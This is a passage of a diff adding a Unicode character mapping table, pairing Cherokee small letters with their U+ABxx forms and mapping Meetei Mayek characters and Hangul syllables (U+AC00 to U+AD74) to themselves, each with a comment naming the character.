+ ["\u13D3", "\uABA3"], /* CHEROKEE SMALL LETTER DA */
+ ["\u13D4", "\uABA4"], /* CHEROKEE SMALL LETTER TA */
+ ["\u13D5", "\uABA5"], /* CHEROKEE SMALL LETTER DE */
+ ["\u13D6", "\uABA6"], /* CHEROKEE SMALL LETTER TE */
+ ["\u13D7", "\uABA7"], /* CHEROKEE SMALL LETTER DI */
+ ["\u13D8", "\uABA8"], /* CHEROKEE SMALL LETTER TI */
+ ["\u13D9", "\uABA9"], /* CHEROKEE SMALL LETTER DO */
+ ["\u13DA", "\uABAA"], /* CHEROKEE SMALL LETTER DU */
+ ["\u13DB", "\uABAB"], /* CHEROKEE SMALL LETTER DV */
+ ["\u13DC", "\uABAC"], /* CHEROKEE SMALL LETTER DLA */
+ ["\u13DD", "\uABAD"], /* CHEROKEE SMALL LETTER TLA */
+ ["\u13DE", "\uABAE"], /* CHEROKEE SMALL LETTER TLE */
+ ["\u13DF", "\uABAF"], /* CHEROKEE SMALL LETTER TLI */
+ ["\u13E0", "\uABB0"], /* CHEROKEE SMALL LETTER TLO */
+ ["\u13E1", "\uABB1"], /* CHEROKEE SMALL LETTER TLU */
+ ["\u13E2", "\uABB2"], /* CHEROKEE SMALL LETTER TLV */
+ ["\u13E3", "\uABB3"], /* CHEROKEE SMALL LETTER TSA */
+ ["\u13E4", "\uABB4"], /* CHEROKEE SMALL LETTER TSE */
+ ["\u13E5", "\uABB5"], /* CHEROKEE SMALL LETTER TSI */
+ ["\u13E6", "\uABB6"], /* CHEROKEE SMALL LETTER TSO */
+ ["\u13E7", "\uABB7"], /* CHEROKEE SMALL LETTER TSU */
+ ["\u13E8", "\uABB8"], /* CHEROKEE SMALL LETTER TSV */
+ ["\u13E9", "\uABB9"], /* CHEROKEE SMALL LETTER WA */
+ ["\u13EA", "\uABBA"], /* CHEROKEE SMALL LETTER WE */
+ ["\u13EB", "\uABBB"], /* CHEROKEE SMALL LETTER WI */
+ ["\u13EC", "\uABBC"], /* CHEROKEE SMALL LETTER WO */
+ ["\u13ED", "\uABBD"], /* CHEROKEE SMALL LETTER WU */
+ ["\u13EE", "\uABBE"], /* CHEROKEE SMALL LETTER WV */
+ ["\u13EF", "\uABBF"], /* CHEROKEE SMALL LETTER YA */
+ ["\uABC0", "\uABC0"], /* MEETEI MAYEK LETTER KOK */
+ ["\uABC1", "\uABC1"], /* MEETEI MAYEK LETTER SAM */
+ ["\uABC2", "\uABC2"], /* MEETEI MAYEK LETTER LAI */
+ ["\uABC3", "\uABC3"], /* MEETEI MAYEK LETTER MIT */
+ ["\uABC4", "\uABC4"], /* MEETEI MAYEK LETTER PA */
+ ["\uABC5", "\uABC5"], /* MEETEI MAYEK LETTER NA */
+ ["\uABC6", "\uABC6"], /* MEETEI MAYEK LETTER CHIL */
+ ["\uABC7", "\uABC7"], /* MEETEI MAYEK LETTER TIL */
+ ["\uABC8", "\uABC8"], /* MEETEI MAYEK LETTER KHOU */
+ ["\uABC9", "\uABC9"], /* MEETEI MAYEK LETTER NGOU */
+ ["\uABCA", "\uABCA"], /* MEETEI MAYEK LETTER THOU */
+ ["\uABCB", "\uABCB"], /* MEETEI MAYEK LETTER WAI */
+ ["\uABCC", "\uABCC"], /* MEETEI MAYEK LETTER YANG */
+ ["\uABCD", "\uABCD"], /* MEETEI MAYEK LETTER HUK */
+ ["\uABCE", "\uABCE"], /* MEETEI MAYEK LETTER UN */
+ ["\uABCF", "\uABCF"], /* MEETEI MAYEK LETTER I */
+ ["\uABD0", "\uABD0"], /* MEETEI MAYEK LETTER PHAM */
+ ["\uABD1", "\uABD1"], /* MEETEI MAYEK LETTER ATIYA */
+ ["\uABD2", "\uABD2"], /* MEETEI MAYEK LETTER GOK */
+ ["\uABD3", "\uABD3"], /* MEETEI MAYEK LETTER JHAM */
+ ["\uABD4", "\uABD4"], /* MEETEI MAYEK LETTER RAI */
+ ["\uABD5", "\uABD5"], /* MEETEI MAYEK LETTER BA */
+ ["\uABD6", "\uABD6"], /* MEETEI MAYEK LETTER JIL */
+ ["\uABD7", "\uABD7"], /* MEETEI MAYEK LETTER DIL */
+ ["\uABD8", "\uABD8"], /* MEETEI MAYEK LETTER GHOU */
+ ["\uABD9", "\uABD9"], /* MEETEI MAYEK LETTER DHOU */
+ ["\uABDA", "\uABDA"], /* MEETEI MAYEK LETTER BHAM */
+ ["\uABDB", "\uABDB"], /* MEETEI MAYEK LETTER KOK LONSUM */
+ ["\uABDC", "\uABDC"], /* MEETEI MAYEK LETTER LAI LONSUM */
+ ["\uABDD", "\uABDD"], /* MEETEI MAYEK LETTER MIT LONSUM */
+ ["\uABDE", "\uABDE"], /* MEETEI MAYEK LETTER PA LONSUM */
+ ["\uABDF", "\uABDF"], /* MEETEI MAYEK LETTER NA LONSUM */
+ ["\uABE0", "\uABE0"], /* MEETEI MAYEK LETTER TIL LONSUM */
+ ["\uABE1", "\uABE1"], /* MEETEI MAYEK LETTER NGOU LONSUM */
+ ["\uABE2", "\uABE2"], /* MEETEI MAYEK LETTER I LONSUM */
+ ["\uABE3", "\uABE3"], /* MEETEI MAYEK VOWEL SIGN ONAP */
+ ["\uABE4", "\uABE4"], /* MEETEI MAYEK VOWEL SIGN INAP */
+ ["\uABE5", "\uABE5"], /* MEETEI MAYEK VOWEL SIGN ANAP */
+ ["\uABE6", "\uABE6"], /* MEETEI MAYEK VOWEL SIGN YENAP */
+ ["\uABE7", "\uABE7"], /* MEETEI MAYEK VOWEL SIGN SOUNAP */
+ ["\uABE8", "\uABE8"], /* MEETEI MAYEK VOWEL SIGN UNAP */
+ ["\uABE9", "\uABE9"], /* MEETEI MAYEK VOWEL SIGN CHEINAP */
+ ["\uABEA", "\uABEA"], /* MEETEI MAYEK VOWEL SIGN NUNG */
+ ["\uABEB", "\uABEB"], /* MEETEI MAYEK CHEIKHEI */
+ ["\uABEC", "\uABEC"], /* MEETEI MAYEK LUM IYEK */
+ ["\uABED", "\uABED"], /* MEETEI MAYEK APUN IYEK */
+ ["\uABEE", "\uABEE"],
+ ["\uABEF", "\uABEF"],
+ ["\uABF0", "\uABF0"], /* MEETEI MAYEK DIGIT ZERO */
+ ["\uABF1", "\uABF1"], /* MEETEI MAYEK DIGIT ONE */
+ ["\uABF2", "\uABF2"], /* MEETEI MAYEK DIGIT TWO */
+ ["\uABF3", "\uABF3"], /* MEETEI MAYEK DIGIT THREE */
+ ["\uABF4", "\uABF4"], /* MEETEI MAYEK DIGIT FOUR */
+ ["\uABF5", "\uABF5"], /* MEETEI MAYEK DIGIT FIVE */
+ ["\uABF6", "\uABF6"], /* MEETEI MAYEK DIGIT SIX */
+ ["\uABF7", "\uABF7"], /* MEETEI MAYEK DIGIT SEVEN */
+ ["\uABF8", "\uABF8"], /* MEETEI MAYEK DIGIT EIGHT */
+ ["\uABF9", "\uABF9"], /* MEETEI MAYEK DIGIT NINE */
+ ["\uABFA", "\uABFA"],
+ ["\uABFB", "\uABFB"],
+ ["\uABFC", "\uABFC"],
+ ["\uABFD", "\uABFD"],
+ ["\uABFE", "\uABFE"],
+ ["\uABFF", "\uABFF"],
+ ["\uAC00", "\uAC00"], /* Hangul Syllable */
+ ["\uAC01", "\uAC01"], /* Hangul Syllable */
+ ["\uAC02", "\uAC02"], /* Hangul Syllable */
+ ["\uAC03", "\uAC03"], /* Hangul Syllable */
+ ["\uAC04", "\uAC04"], /* Hangul Syllable */
+ ["\uAC05", "\uAC05"], /* Hangul Syllable */
+ ["\uAC06", "\uAC06"], /* Hangul Syllable */
+ ["\uAC07", "\uAC07"], /* Hangul Syllable */
+ ["\uAC08", "\uAC08"], /* Hangul Syllable */
+ ["\uAC09", "\uAC09"], /* Hangul Syllable */
+ ["\uAC0A", "\uAC0A"], /* Hangul Syllable */
+ ["\uAC0B", "\uAC0B"], /* Hangul Syllable */
+ ["\uAC0C", "\uAC0C"], /* Hangul Syllable */
+ ["\uAC0D", "\uAC0D"], /* Hangul Syllable */
+ ["\uAC0E", "\uAC0E"], /* Hangul Syllable */
+ ["\uAC0F", "\uAC0F"], /* Hangul Syllable */
+ ["\uAC10", "\uAC10"], /* Hangul Syllable */
+ ["\uAC11", "\uAC11"], /* Hangul Syllable */
+ ["\uAC12", "\uAC12"], /* Hangul Syllable */
+ ["\uAC13", "\uAC13"], /* Hangul Syllable */
+ ["\uAC14", "\uAC14"], /* Hangul Syllable */
+ ["\uAC15", "\uAC15"], /* Hangul Syllable */
+ ["\uAC16", "\uAC16"], /* Hangul Syllable */
+ ["\uAC17", "\uAC17"], /* Hangul Syllable */
+ ["\uAC18", "\uAC18"], /* Hangul Syllable */
+ ["\uAC19", "\uAC19"], /* Hangul Syllable */
+ ["\uAC1A", "\uAC1A"], /* Hangul Syllable */
+ ["\uAC1B", "\uAC1B"], /* Hangul Syllable */
+ ["\uAC1C", "\uAC1C"], /* Hangul Syllable */
+ ["\uAC1D", "\uAC1D"], /* Hangul Syllable */
+ ["\uAC1E", "\uAC1E"], /* Hangul Syllable */
+ ["\uAC1F", "\uAC1F"], /* Hangul Syllable */
+ ["\uAC20", "\uAC20"], /* Hangul Syllable */
+ ["\uAC21", "\uAC21"], /* Hangul Syllable */
+ ["\uAC22", "\uAC22"], /* Hangul Syllable */
+ ["\uAC23", "\uAC23"], /* Hangul Syllable */
+ ["\uAC24", "\uAC24"], /* Hangul Syllable */
+ ["\uAC25", "\uAC25"], /* Hangul Syllable */
+ ["\uAC26", "\uAC26"], /* Hangul Syllable */
+ ["\uAC27", "\uAC27"], /* Hangul Syllable */
+ ["\uAC28", "\uAC28"], /* Hangul Syllable */
+ ["\uAC29", "\uAC29"], /* Hangul Syllable */
+ ["\uAC2A", "\uAC2A"], /* Hangul Syllable */
+ ["\uAC2B", "\uAC2B"], /* Hangul Syllable */
+ ["\uAC2C", "\uAC2C"], /* Hangul Syllable */
+ ["\uAC2D", "\uAC2D"], /* Hangul Syllable */
+ ["\uAC2E", "\uAC2E"], /* Hangul Syllable */
+ ["\uAC2F", "\uAC2F"], /* Hangul Syllable */
+ ["\uAC30", "\uAC30"], /* Hangul Syllable */
+ ["\uAC31", "\uAC31"], /* Hangul Syllable */
+ ["\uAC32", "\uAC32"], /* Hangul Syllable */
+ ["\uAC33", "\uAC33"], /* Hangul Syllable */
+ ["\uAC34", "\uAC34"], /* Hangul Syllable */
+ ["\uAC35", "\uAC35"], /* Hangul Syllable */
+ ["\uAC36", "\uAC36"], /* Hangul Syllable */
+ ["\uAC37", "\uAC37"], /* Hangul Syllable */
+ ["\uAC38", "\uAC38"], /* Hangul Syllable */
+ ["\uAC39", "\uAC39"], /* Hangul Syllable */
+ ["\uAC3A", "\uAC3A"], /* Hangul Syllable */
+ ["\uAC3B", "\uAC3B"], /* Hangul Syllable */
+ ["\uAC3C", "\uAC3C"], /* Hangul Syllable */
+ ["\uAC3D", "\uAC3D"], /* Hangul Syllable */
+ ["\uAC3E", "\uAC3E"], /* Hangul Syllable */
+ ["\uAC3F", "\uAC3F"], /* Hangul Syllable */
+ ["\uAC40", "\uAC40"], /* Hangul Syllable */
+ ["\uAC41", "\uAC41"], /* Hangul Syllable */
+ ["\uAC42", "\uAC42"], /* Hangul Syllable */
+ ["\uAC43", "\uAC43"], /* Hangul Syllable */
+ ["\uAC44", "\uAC44"], /* Hangul Syllable */
+ ["\uAC45", "\uAC45"], /* Hangul Syllable */
+ ["\uAC46", "\uAC46"], /* Hangul Syllable */
+ ["\uAC47", "\uAC47"], /* Hangul Syllable */
+ ["\uAC48", "\uAC48"], /* Hangul Syllable */
+ ["\uAC49", "\uAC49"], /* Hangul Syllable */
+ ["\uAC4A", "\uAC4A"], /* Hangul Syllable */
+ ["\uAC4B", "\uAC4B"], /* Hangul Syllable */
+ ["\uAC4C", "\uAC4C"], /* Hangul Syllable */
+ ["\uAC4D", "\uAC4D"], /* Hangul Syllable */
+ ["\uAC4E", "\uAC4E"], /* Hangul Syllable */
+ ["\uAC4F", "\uAC4F"], /* Hangul Syllable */
+ ["\uAC50", "\uAC50"], /* Hangul Syllable */
+ ["\uAC51", "\uAC51"], /* Hangul Syllable */
+ ["\uAC52", "\uAC52"], /* Hangul Syllable */
+ ["\uAC53", "\uAC53"], /* Hangul Syllable */
+ ["\uAC54", "\uAC54"], /* Hangul Syllable */
+ ["\uAC55", "\uAC55"], /* Hangul Syllable */
+ ["\uAC56", "\uAC56"], /* Hangul Syllable */
+ ["\uAC57", "\uAC57"], /* Hangul Syllable */
+ ["\uAC58", "\uAC58"], /* Hangul Syllable */
+ ["\uAC59", "\uAC59"], /* Hangul Syllable */
+ ["\uAC5A", "\uAC5A"], /* Hangul Syllable */
+ ["\uAC5B", "\uAC5B"], /* Hangul Syllable */
+ ["\uAC5C", "\uAC5C"], /* Hangul Syllable */
+ ["\uAC5D", "\uAC5D"], /* Hangul Syllable */
+ ["\uAC5E", "\uAC5E"], /* Hangul Syllable */
+ ["\uAC5F", "\uAC5F"], /* Hangul Syllable */
+ ["\uAC60", "\uAC60"], /* Hangul Syllable */
+ ["\uAC61", "\uAC61"], /* Hangul Syllable */
+ ["\uAC62", "\uAC62"], /* Hangul Syllable */
+ ["\uAC63", "\uAC63"], /* Hangul Syllable */
+ ["\uAC64", "\uAC64"], /* Hangul Syllable */
+ ["\uAC65", "\uAC65"], /* Hangul Syllable */
+ ["\uAC66", "\uAC66"], /* Hangul Syllable */
+ ["\uAC67", "\uAC67"], /* Hangul Syllable */
+ ["\uAC68", "\uAC68"], /* Hangul Syllable */
+ ["\uAC69", "\uAC69"], /* Hangul Syllable */
+ ["\uAC6A", "\uAC6A"], /* Hangul Syllable */
+ ["\uAC6B", "\uAC6B"], /* Hangul Syllable */
+ ["\uAC6C", "\uAC6C"], /* Hangul Syllable */
+ ["\uAC6D", "\uAC6D"], /* Hangul Syllable */
+ ["\uAC6E", "\uAC6E"], /* Hangul Syllable */
+ ["\uAC6F", "\uAC6F"], /* Hangul Syllable */
+ ["\uAC70", "\uAC70"], /* Hangul Syllable */
+ ["\uAC71", "\uAC71"], /* Hangul Syllable */
+ ["\uAC72", "\uAC72"], /* Hangul Syllable */
+ ["\uAC73", "\uAC73"], /* Hangul Syllable */
+ ["\uAC74", "\uAC74"], /* Hangul Syllable */
+ ["\uAC75", "\uAC75"], /* Hangul Syllable */
+ ["\uAC76", "\uAC76"], /* Hangul Syllable */
+ ["\uAC77", "\uAC77"], /* Hangul Syllable */
+ ["\uAC78", "\uAC78"], /* Hangul Syllable */
+ ["\uAC79", "\uAC79"], /* Hangul Syllable */
+ ["\uAC7A", "\uAC7A"], /* Hangul Syllable */
+ ["\uAC7B", "\uAC7B"], /* Hangul Syllable */
+ ["\uAC7C", "\uAC7C"], /* Hangul Syllable */
+ ["\uAC7D", "\uAC7D"], /* Hangul Syllable */
+ ["\uAC7E", "\uAC7E"], /* Hangul Syllable */
+ ["\uAC7F", "\uAC7F"], /* Hangul Syllable */
+ ["\uAC80", "\uAC80"], /* Hangul Syllable */
+ ["\uAC81", "\uAC81"], /* Hangul Syllable */
+ ["\uAC82", "\uAC82"], /* Hangul Syllable */
+ ["\uAC83", "\uAC83"], /* Hangul Syllable */
+ ["\uAC84", "\uAC84"], /* Hangul Syllable */
+ ["\uAC85", "\uAC85"], /* Hangul Syllable */
+ ["\uAC86", "\uAC86"], /* Hangul Syllable */
+ ["\uAC87", "\uAC87"], /* Hangul Syllable */
+ ["\uAC88", "\uAC88"], /* Hangul Syllable */
+ ["\uAC89", "\uAC89"], /* Hangul Syllable */
+ ["\uAC8A", "\uAC8A"], /* Hangul Syllable */
+ ["\uAC8B", "\uAC8B"], /* Hangul Syllable */
+ ["\uAC8C", "\uAC8C"], /* Hangul Syllable */
+ ["\uAC8D", "\uAC8D"], /* Hangul Syllable */
+ ["\uAC8E", "\uAC8E"], /* Hangul Syllable */
+ ["\uAC8F", "\uAC8F"], /* Hangul Syllable */
+ ["\uAC90", "\uAC90"], /* Hangul Syllable */
+ ["\uAC91", "\uAC91"], /* Hangul Syllable */
+ ["\uAC92", "\uAC92"], /* Hangul Syllable */
+ ["\uAC93", "\uAC93"], /* Hangul Syllable */
+ ["\uAC94", "\uAC94"], /* Hangul Syllable */
+ ["\uAC95", "\uAC95"], /* Hangul Syllable */
+ ["\uAC96", "\uAC96"], /* Hangul Syllable */
+ ["\uAC97", "\uAC97"], /* Hangul Syllable */
+ ["\uAC98", "\uAC98"], /* Hangul Syllable */
+ ["\uAC99", "\uAC99"], /* Hangul Syllable */
+ ["\uAC9A", "\uAC9A"], /* Hangul Syllable */
+ ["\uAC9B", "\uAC9B"], /* Hangul Syllable */
+ ["\uAC9C", "\uAC9C"], /* Hangul Syllable */
+ ["\uAC9D", "\uAC9D"], /* Hangul Syllable */
+ ["\uAC9E", "\uAC9E"], /* Hangul Syllable */
+ ["\uAC9F", "\uAC9F"], /* Hangul Syllable */
+ ["\uACA0", "\uACA0"], /* Hangul Syllable */
+ ["\uACA1", "\uACA1"], /* Hangul Syllable */
+ ["\uACA2", "\uACA2"], /* Hangul Syllable */
+ ["\uACA3", "\uACA3"], /* Hangul Syllable */
+ ["\uACA4", "\uACA4"], /* Hangul Syllable */
+ ["\uACA5", "\uACA5"], /* Hangul Syllable */
+ ["\uACA6", "\uACA6"], /* Hangul Syllable */
+ ["\uACA7", "\uACA7"], /* Hangul Syllable */
+ ["\uACA8", "\uACA8"], /* Hangul Syllable */
+ ["\uACA9", "\uACA9"], /* Hangul Syllable */
+ ["\uACAA", "\uACAA"], /* Hangul Syllable */
+ ["\uACAB", "\uACAB"], /* Hangul Syllable */
+ ["\uACAC", "\uACAC"], /* Hangul Syllable */
+ ["\uACAD", "\uACAD"], /* Hangul Syllable */
+ ["\uACAE", "\uACAE"], /* Hangul Syllable */
+ ["\uACAF", "\uACAF"], /* Hangul Syllable */
+ ["\uACB0", "\uACB0"], /* Hangul Syllable */
+ ["\uACB1", "\uACB1"], /* Hangul Syllable */
+ ["\uACB2", "\uACB2"], /* Hangul Syllable */
+ ["\uACB3", "\uACB3"], /* Hangul Syllable */
+ ["\uACB4", "\uACB4"], /* Hangul Syllable */
+ ["\uACB5", "\uACB5"], /* Hangul Syllable */
+ ["\uACB6", "\uACB6"], /* Hangul Syllable */
+ ["\uACB7", "\uACB7"], /* Hangul Syllable */
+ ["\uACB8", "\uACB8"], /* Hangul Syllable */
+ ["\uACB9", "\uACB9"], /* Hangul Syllable */
+ ["\uACBA", "\uACBA"], /* Hangul Syllable */
+ ["\uACBB", "\uACBB"], /* Hangul Syllable */
+ ["\uACBC", "\uACBC"], /* Hangul Syllable */
+ ["\uACBD", "\uACBD"], /* Hangul Syllable */
+ ["\uACBE", "\uACBE"], /* Hangul Syllable */
+ ["\uACBF", "\uACBF"], /* Hangul Syllable */
+ ["\uACC0", "\uACC0"], /* Hangul Syllable */
+ ["\uACC1", "\uACC1"], /* Hangul Syllable */
+ ["\uACC2", "\uACC2"], /* Hangul Syllable */
+ ["\uACC3", "\uACC3"], /* Hangul Syllable */
+ ["\uACC4", "\uACC4"], /* Hangul Syllable */
+ ["\uACC5", "\uACC5"], /* Hangul Syllable */
+ ["\uACC6", "\uACC6"], /* Hangul Syllable */
+ ["\uACC7", "\uACC7"], /* Hangul Syllable */
+ ["\uACC8", "\uACC8"], /* Hangul Syllable */
+ ["\uACC9", "\uACC9"], /* Hangul Syllable */
+ ["\uACCA", "\uACCA"], /* Hangul Syllable */
+ ["\uACCB", "\uACCB"], /* Hangul Syllable */
+ ["\uACCC", "\uACCC"], /* Hangul Syllable */
+ ["\uACCD", "\uACCD"], /* Hangul Syllable */
+ ["\uACCE", "\uACCE"], /* Hangul Syllable */
+ ["\uACCF", "\uACCF"], /* Hangul Syllable */
+ ["\uACD0", "\uACD0"], /* Hangul Syllable */
+ ["\uACD1", "\uACD1"], /* Hangul Syllable */
+ ["\uACD2", "\uACD2"], /* Hangul Syllable */
+ ["\uACD3", "\uACD3"], /* Hangul Syllable */
+ ["\uACD4", "\uACD4"], /* Hangul Syllable */
+ ["\uACD5", "\uACD5"], /* Hangul Syllable */
+ ["\uACD6", "\uACD6"], /* Hangul Syllable */
+ ["\uACD7", "\uACD7"], /* Hangul Syllable */
+ ["\uACD8", "\uACD8"], /* Hangul Syllable */
+ ["\uACD9", "\uACD9"], /* Hangul Syllable */
+ ["\uACDA", "\uACDA"], /* Hangul Syllable */
+ ["\uACDB", "\uACDB"], /* Hangul Syllable */
+ ["\uACDC", "\uACDC"], /* Hangul Syllable */
+ ["\uACDD", "\uACDD"], /* Hangul Syllable */
+ ["\uACDE", "\uACDE"], /* Hangul Syllable */
+ ["\uACDF", "\uACDF"], /* Hangul Syllable */
+ ["\uACE0", "\uACE0"], /* Hangul Syllable */
+ ["\uACE1", "\uACE1"], /* Hangul Syllable */
+ ["\uACE2", "\uACE2"], /* Hangul Syllable */
+ ["\uACE3", "\uACE3"], /* Hangul Syllable */
+ ["\uACE4", "\uACE4"], /* Hangul Syllable */
+ ["\uACE5", "\uACE5"], /* Hangul Syllable */
+ ["\uACE6", "\uACE6"], /* Hangul Syllable */
+ ["\uACE7", "\uACE7"], /* Hangul Syllable */
+ ["\uACE8", "\uACE8"], /* Hangul Syllable */
+ ["\uACE9", "\uACE9"], /* Hangul Syllable */
+ ["\uACEA", "\uACEA"], /* Hangul Syllable */
+ ["\uACEB", "\uACEB"], /* Hangul Syllable */
+ ["\uACEC", "\uACEC"], /* Hangul Syllable */
+ ["\uACED", "\uACED"], /* Hangul Syllable */
+ ["\uACEE", "\uACEE"], /* Hangul Syllable */
+ ["\uACEF", "\uACEF"], /* Hangul Syllable */
+ ["\uACF0", "\uACF0"], /* Hangul Syllable */
+ ["\uACF1", "\uACF1"], /* Hangul Syllable */
+ ["\uACF2", "\uACF2"], /* Hangul Syllable */
+ ["\uACF3", "\uACF3"], /* Hangul Syllable */
+ ["\uACF4", "\uACF4"], /* Hangul Syllable */
+ ["\uACF5", "\uACF5"], /* Hangul Syllable */
+ ["\uACF6", "\uACF6"], /* Hangul Syllable */
+ ["\uACF7", "\uACF7"], /* Hangul Syllable */
+ ["\uACF8", "\uACF8"], /* Hangul Syllable */
+ ["\uACF9", "\uACF9"], /* Hangul Syllable */
+ ["\uACFA", "\uACFA"], /* Hangul Syllable */
+ ["\uACFB", "\uACFB"], /* Hangul Syllable */
+ ["\uACFC", "\uACFC"], /* Hangul Syllable */
+ ["\uACFD", "\uACFD"], /* Hangul Syllable */
+ ["\uACFE", "\uACFE"], /* Hangul Syllable */
+ ["\uACFF", "\uACFF"], /* Hangul Syllable */
+ ["\uAD00", "\uAD00"], /* Hangul Syllable */
+ ["\uAD01", "\uAD01"], /* Hangul Syllable */
+ ["\uAD02", "\uAD02"], /* Hangul Syllable */
+ ["\uAD03", "\uAD03"], /* Hangul Syllable */
+ ["\uAD04", "\uAD04"], /* Hangul Syllable */
+ ["\uAD05", "\uAD05"], /* Hangul Syllable */
+ ["\uAD06", "\uAD06"], /* Hangul Syllable */
+ ["\uAD07", "\uAD07"], /* Hangul Syllable */
+ ["\uAD08", "\uAD08"], /* Hangul Syllable */
+ ["\uAD09", "\uAD09"], /* Hangul Syllable */
+ ["\uAD0A", "\uAD0A"], /* Hangul Syllable */
+ ["\uAD0B", "\uAD0B"], /* Hangul Syllable */
+ ["\uAD0C", "\uAD0C"], /* Hangul Syllable */
+ ["\uAD0D", "\uAD0D"], /* Hangul Syllable */
+ ["\uAD0E", "\uAD0E"], /* Hangul Syllable */
+ ["\uAD0F", "\uAD0F"], /* Hangul Syllable */
+ ["\uAD10", "\uAD10"], /* Hangul Syllable */
+ ["\uAD11", "\uAD11"], /* Hangul Syllable */
+ ["\uAD12", "\uAD12"], /* Hangul Syllable */
+ ["\uAD13", "\uAD13"], /* Hangul Syllable */
+ ["\uAD14", "\uAD14"], /* Hangul Syllable */
+ ["\uAD15", "\uAD15"], /* Hangul Syllable */
+ ["\uAD16", "\uAD16"], /* Hangul Syllable */
+ ["\uAD17", "\uAD17"], /* Hangul Syllable */
+ ["\uAD18", "\uAD18"], /* Hangul Syllable */
+ ["\uAD19", "\uAD19"], /* Hangul Syllable */
+ ["\uAD1A", "\uAD1A"], /* Hangul Syllable */
+ ["\uAD1B", "\uAD1B"], /* Hangul Syllable */
+ ["\uAD1C", "\uAD1C"], /* Hangul Syllable */
+ ["\uAD1D", "\uAD1D"], /* Hangul Syllable */
+ ["\uAD1E", "\uAD1E"], /* Hangul Syllable */
+ ["\uAD1F", "\uAD1F"], /* Hangul Syllable */
+ ["\uAD20", "\uAD20"], /* Hangul Syllable */
+ ["\uAD21", "\uAD21"], /* Hangul Syllable */
+ ["\uAD22", "\uAD22"], /* Hangul Syllable */
+ ["\uAD23", "\uAD23"], /* Hangul Syllable */
+ ["\uAD24", "\uAD24"], /* Hangul Syllable */
+ ["\uAD25", "\uAD25"], /* Hangul Syllable */
+ ["\uAD26", "\uAD26"], /* Hangul Syllable */
+ ["\uAD27", "\uAD27"], /* Hangul Syllable */
+ ["\uAD28", "\uAD28"], /* Hangul Syllable */
+ ["\uAD29", "\uAD29"], /* Hangul Syllable */
+ ["\uAD2A", "\uAD2A"], /* Hangul Syllable */
+ ["\uAD2B", "\uAD2B"], /* Hangul Syllable */
+ ["\uAD2C", "\uAD2C"], /* Hangul Syllable */
+ ["\uAD2D", "\uAD2D"], /* Hangul Syllable */
+ ["\uAD2E", "\uAD2E"], /* Hangul Syllable */
+ ["\uAD2F", "\uAD2F"], /* Hangul Syllable */
+ ["\uAD30", "\uAD30"], /* Hangul Syllable */
+ ["\uAD31", "\uAD31"], /* Hangul Syllable */
+ ["\uAD32", "\uAD32"], /* Hangul Syllable */
+ ["\uAD33", "\uAD33"], /* Hangul Syllable */
+ ["\uAD34", "\uAD34"], /* Hangul Syllable */
+ ["\uAD35", "\uAD35"], /* Hangul Syllable */
+ ["\uAD36", "\uAD36"], /* Hangul Syllable */
+ ["\uAD37", "\uAD37"], /* Hangul Syllable */
+ ["\uAD38", "\uAD38"], /* Hangul Syllable */
+ ["\uAD39", "\uAD39"], /* Hangul Syllable */
+ ["\uAD3A", "\uAD3A"], /* Hangul Syllable */
+ ["\uAD3B", "\uAD3B"], /* Hangul Syllable */
+ ["\uAD3C", "\uAD3C"], /* Hangul Syllable */
+ ["\uAD3D", "\uAD3D"], /* Hangul Syllable */
+ ["\uAD3E", "\uAD3E"], /* Hangul Syllable */
+ ["\uAD3F", "\uAD3F"], /* Hangul Syllable */
+ ["\uAD40", "\uAD40"], /* Hangul Syllable */
+ ["\uAD41", "\uAD41"], /* Hangul Syllable */
+ ["\uAD42", "\uAD42"], /* Hangul Syllable */
+ ["\uAD43", "\uAD43"], /* Hangul Syllable */
+ ["\uAD44", "\uAD44"], /* Hangul Syllable */
+ ["\uAD45", "\uAD45"], /* Hangul Syllable */
+ ["\uAD46", "\uAD46"], /* Hangul Syllable */
+ ["\uAD47", "\uAD47"], /* Hangul Syllable */
+ ["\uAD48", "\uAD48"], /* Hangul Syllable */
+ ["\uAD49", "\uAD49"], /* Hangul Syllable */
+ ["\uAD4A", "\uAD4A"], /* Hangul Syllable */
+ ["\uAD4B", "\uAD4B"], /* Hangul Syllable */
+ ["\uAD4C", "\uAD4C"], /* Hangul Syllable */
+ ["\uAD4D", "\uAD4D"], /* Hangul Syllable */
+ ["\uAD4E", "\uAD4E"], /* Hangul Syllable */
+ ["\uAD4F", "\uAD4F"], /* Hangul Syllable */
+ ["\uAD50", "\uAD50"], /* Hangul Syllable */
+ ["\uAD51", "\uAD51"], /* Hangul Syllable */
+ ["\uAD52", "\uAD52"], /* Hangul Syllable */
+ ["\uAD53", "\uAD53"], /* Hangul Syllable */
+ ["\uAD54", "\uAD54"], /* Hangul Syllable */
+ ["\uAD55", "\uAD55"], /* Hangul Syllable */
+ ["\uAD56", "\uAD56"], /* Hangul Syllable */
+ ["\uAD57", "\uAD57"], /* Hangul Syllable */
+ ["\uAD58", "\uAD58"], /* Hangul Syllable */
+ ["\uAD59", "\uAD59"], /* Hangul Syllable */
+ ["\uAD5A", "\uAD5A"], /* Hangul Syllable */
+ ["\uAD5B", "\uAD5B"], /* Hangul Syllable */
+ ["\uAD5C", "\uAD5C"], /* Hangul Syllable */
+ ["\uAD5D", "\uAD5D"], /* Hangul Syllable */
+ ["\uAD5E", "\uAD5E"], /* Hangul Syllable */
+ ["\uAD5F", "\uAD5F"], /* Hangul Syllable */
+ ["\uAD60", "\uAD60"], /* Hangul Syllable */
+ ["\uAD61", "\uAD61"], /* Hangul Syllable */
+ ["\uAD62", "\uAD62"], /* Hangul Syllable */
+ ["\uAD63", "\uAD63"], /* Hangul Syllable */
+ ["\uAD64", "\uAD64"], /* Hangul Syllable */
+ ["\uAD65", "\uAD65"], /* Hangul Syllable */
+ ["\uAD66", "\uAD66"], /* Hangul Syllable */
+ ["\uAD67", "\uAD67"], /* Hangul Syllable */
+ ["\uAD68", "\uAD68"], /* Hangul Syllable */
+ ["\uAD69", "\uAD69"], /* Hangul Syllable */
+ ["\uAD6A", "\uAD6A"], /* Hangul Syllable */
+ ["\uAD6B", "\uAD6B"], /* Hangul Syllable */
+ ["\uAD6C", "\uAD6C"], /* Hangul Syllable */
+ ["\uAD6D", "\uAD6D"], /* Hangul Syllable */
+ ["\uAD6E", "\uAD6E"], /* Hangul Syllable */
+ ["\uAD6F", "\uAD6F"], /* Hangul Syllable */
+ ["\uAD70", "\uAD70"], /* Hangul Syllable */
+ ["\uAD71", "\uAD71"], /* Hangul Syllable */
+ ["\uAD72", "\uAD72"], /* Hangul Syllable */
+ ["\uAD73", "\uAD73"], /* Hangul Syllable */
+ ["\uAD74", "\uAD74"], /* Hangul Syllable */
